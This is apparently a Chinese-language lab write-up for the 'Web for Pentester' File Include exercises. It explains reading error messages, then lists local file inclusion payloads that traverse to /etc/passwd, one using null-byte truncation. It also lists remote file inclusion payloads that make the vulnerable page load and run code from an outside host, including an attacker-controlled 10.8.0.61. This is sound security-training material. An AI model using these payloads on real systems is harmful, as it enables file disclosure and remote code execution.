Web for pentester_writeup之File Include篇

Web for pentester_writeup之File Include篇

##File Include（文件包涵） ###Example 1


加一个单引号


从报错中我们可以获取如下信息： 当前文件执行的代码路径: `/var/www/fileincl/example1.php` 文件包含代码引用函数 `include()` 代码引用的文件路径：`include_path`= `/usr/share/php:/usr/share/pear`

>Payload 1 （本地文件包含LFI） `http://192.168.219.136/fileincl/example1.php?page=../../../../../../../../etc/passwd`


Payload 2 （远程文件包含RFI） http://192.168.219.136/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt


其中https://assets.pentesterlab.com/test_include.txt是官方给的一个测试例子，也可以自己构建，在txt中写入想执行的代码


###Example 2


没有后缀名了，同样添加一个单引号查看报错信息


发现函数调用的php文件变成了`include(intro'.php)`，我们可以使用%00截断来实现本地文件包含 >Payload 1 （本地文件包含LFI） `http://192.168.219.136/fileincl/example2.php?page=../../../../../../../../etc/passwd%00`


Payload 2 （远程文件包含RFI） http://192.168.219.136/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt?blah= 或者使用&blah=当文件路径传参符号为&号时


Payload 3 （远程文件包含RFI，也可以在主机10.8.0.61自己构造一个phpinfo.php的文件，去掉后缀访问） http://192.168.219.136/fileincl/example2.php?page=http://10.8.0.61/phpinfo